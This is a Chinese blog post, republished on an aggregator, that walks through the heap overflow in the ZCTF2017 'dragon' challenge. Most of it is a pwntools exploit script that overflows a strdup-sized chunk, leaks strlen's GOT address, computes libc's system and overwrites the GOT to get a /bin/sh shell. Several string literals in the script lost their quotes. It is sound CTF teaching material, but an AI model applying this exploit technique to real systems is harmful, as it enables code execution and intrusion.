码迷,mamicode.com
首页 > 其他好文 > 详细

堆利用小结

时间:2017-12-05 00:59:32      阅读:200      评论:0      收藏:0      [点我收藏+]

标签:show   集中   font   images   write   line   x86   小结   col   

堆利用小结

关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:

这是一个64位的程序,开启了cannary 和PIE。

技术分享图片

 

技术分享图片

 

接下来我们找洞:

 

技术分享图片

 

技术分享图片

 可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:

 技术分享图片技术分享图片技术分享图片

脚本如下:

 1 from pwn import *
 2  
 3 debug = 1 
 4 #r = remote(‘58.213.63.30‘, 11501) 
 5 r = process("./dragon")
 6 context.log_level = debug
 7    
 8 def add(size, name, content):
 9     r.recvuntil(>> )
10     r.sendline(1)
11     r.recvuntil(:)
12     r.sendline(str(size))
13     r.recvuntil(:)
14     r.sendline(name)
15     r.recvuntil(:)
16     r.sendline(content)
17     
18 def edit(id, content):
19     r.recvuntil(>> )
20     r.sendline(2)
21     r.recvuntil(:)
22     r.sendline(str(id))
23     r.recvuntil(:)
24     r.write(content)
25     
26 def show(id):
27     r.recvuntil(>> )
28     r.sendline(4)
29     r.recvuntil(:)
30     r.sendline(str(id))
31     
32 def delete(id):
33     r.recvuntil(>> )
34     r.sendline(3)
35     r.recvuntil(:)
36     r.sendline(str(id))
37       
38 add(0x20, AAAA, AAAA)
39 add(0x20, BBBB, B*0x18)
40 add(0x20, CCCC, C*0x18)
41 
42 edit(0, A*0x18+p64(0xd1)) 
43 
44 delete(1)
45 
46 add(0x20, DDDD, D*0x18)
47 
48 strlen_got = 0x602028
49 
50 add(0x10, EEEE, p64(strlen_got)+E*0x10)
51 edit(3, p64(strlen_got)) 
52 
53 show(2)
54 r.recvuntil(content: )
55 strlen_addr = u64(r.readline()[:-1].ljust(8, \x00))
56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
57 #libc = ELF("./libc-2.19.so")
58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
59 libc_base = strlen_addr - libc.symbols[strlen]
60 system_addr = libc_base + libc.symbols[system] 
61 #gdb.attach(r,open(‘bb‘)) 
62 print"system_addr",hex(system_addr)
63 edit(2, p64(system_addr))
64     
65 edit(0, /bin/sh\x00)
66 r.interactive()

 

 

 

 

 技术分享图片

 

堆利用小结

标签:show   集中   font   images   write   line   x86   小结   col   

原文地址:http://www.cnblogs.com/Yable/p/7979467.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!